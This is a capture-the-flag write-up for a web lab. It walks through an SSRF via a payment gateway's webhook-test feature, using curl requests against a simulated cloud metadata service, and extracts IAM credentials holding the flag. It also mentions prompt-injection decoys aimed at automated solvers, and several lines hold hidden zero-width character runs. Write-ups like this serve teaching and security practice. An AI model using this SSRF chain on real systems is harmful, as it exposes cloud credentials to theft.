← Back to Writeups
CUSTOMEasyWeb

Lab 204 — PayLoom — SSRF via Webhook Testing to Cloud Metadata

XESXOR9/2/20263 min read
#web#custom#easy#iam_credential_extraction#localhost_service_discovery#metadata_enumeration#ssrf_via_webhook

Lab 204 — PayLoom — SSRF via Webhook Testing to Cloud Metadata

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: iam_credential_extraction, localhost_service_discovery, metadata_enumeration, ssrf_via_webhook

Summary

Walkthrough of the CUSTOM Web Lab 204 — PayLoom — SSRF via Webhook Testing to Cloud Metadata. Task: PayLoom payment gateway with webhook test feature that fetches arbitrary URLs server-side without validation. Solution: Exploit SSRF to reach internal IMDS on localhost:3001 and extract IAM cred

Description

PayLoom is a developer-focused payment gateway built by Loom Financial Inc., providing APIs and dashboards for managing online transactions. As a merchant, you can configure webhook endpoints to receive real-time notifications about payment events like successful charges, refunds, and disputes. Your merchant account is already set up with sample transactions, API keys, and settlement records. The platform allows you to add custom webhook URLs and test them directly from the dashboard. Your goal is to explore the platform's infrastructure and find the flag hidden somewhere that shouldn't be accessible from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A payment gateway platform with a webhook testing feature. The "Test Webhook" function sends server-side HTTP requests to arbitrary URLs without validation, enabling SSRF. A simulated AWS Instance Metadata Service (IMDS) runs on localhost:3001, and the flag is hidden in the IAM security credentials.

Target: https://a9636791-8b42-488b-99d1-90ab8a48a327.labs.hackadvisor.io/ Credentials: merchant@payloom.io / password123

Analysis

Reconnaissance

  1. The target is an Express/Node.js application behind nginx/1.25.5
  2. Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs with prompt injection text — this is NOT the real flag
  3. After authenticating, the dashboard has sidebar pages: Dashboard, Transactions, Merchants, Webhooks, API Keys, Settlements
  4. The Webhooks page (/webhooks) has a "Test Webhook" feature accepting any URL
  5. JavaScript at /js/webhooks.js reveals the API endpoint: POST /api/webhooks/test with body {"url": "..."} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

The webhook test feature at POST /api/webhooks/test accepts an arbitrary URL, performs a server-side HTTP request, and reflects the full response back to the user — status code, headers, and body. There is no validation or filtering of the destination URL, allowing access to internal/localhost services unreachable from the internet.

This is a textbook Server-Side Request Forgery (SSRF) vulnerability.

Internal Service Discovery

  • Port 80 on localhost: connection refused
  • Port 3000 on localhost: connection refused
  • Port 3001 on localhost: IMDSv1 — EC2 Instance Metadata Service (simulated)
  • The IMDS exposes standard AWS metadata paths including IAM security credentials ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate

bash
BASE="https://a9636791-8b42-488b-99d1-90ab8a48a327.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$BASE/login" \
  -d "email=merchant@payloom.io&password=password123"

Step 2: Confirm SSRF and discover internal services

Probe common localhost ports via the webhook test endpoint:

bash
# Port 3001 — internal IMDS found
curl -s -b cookies.txt "$BASE/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "success": true,
  "status_code": 200,
  "response_headers": {"content-type": "text/plain"},
  "response_body": "IMDSv1 - EC2 Instance Metadata Service\n\nAvailable versions:\n  /latest/"
}

Step 3: Enumerate the metadata service

bash
# List metadata categories
curl -s -b cookies.txt "$BASE/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/latest/meta-data/"}'
# → ami-id, hostname, iam/, instance-id, instance-type, local-ipv4, etc.
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Enumerate IAM roles
curl -s -b cookies.txt "$BASE/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/"}'
# → payloom-production-role

Step 4: Extract IAM credentials containing the flag

bash
curl -s -b cookies.txt "$BASE/api/webhooks/test" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/payloom-production-role"}'

Response:

json
{
  "Code": "Success",
  "LastUpdated": "2026-03-10T08:14:32Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQD3KZLOOM7EXAMPLE",
  "SecretAccessKey": "FLAG{REDACTED}",
  "Token": "FwoGZXIvYXdzEBYaDH2k9a7VjG8FzR3sLyLIAd8xnTlPkR1eXamp1eT0ken",
  "Expiration": "2026-03-10T14:31:22Z"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag is in the SecretAccessKey field. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering iam_credential_extraction, localhost_service_discovery, metadata_enumeration, ssrf_via_webhook was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 204 — PayLoom — SSRF via Webhook Testing to Cloud Metadata • Difficulty: Easy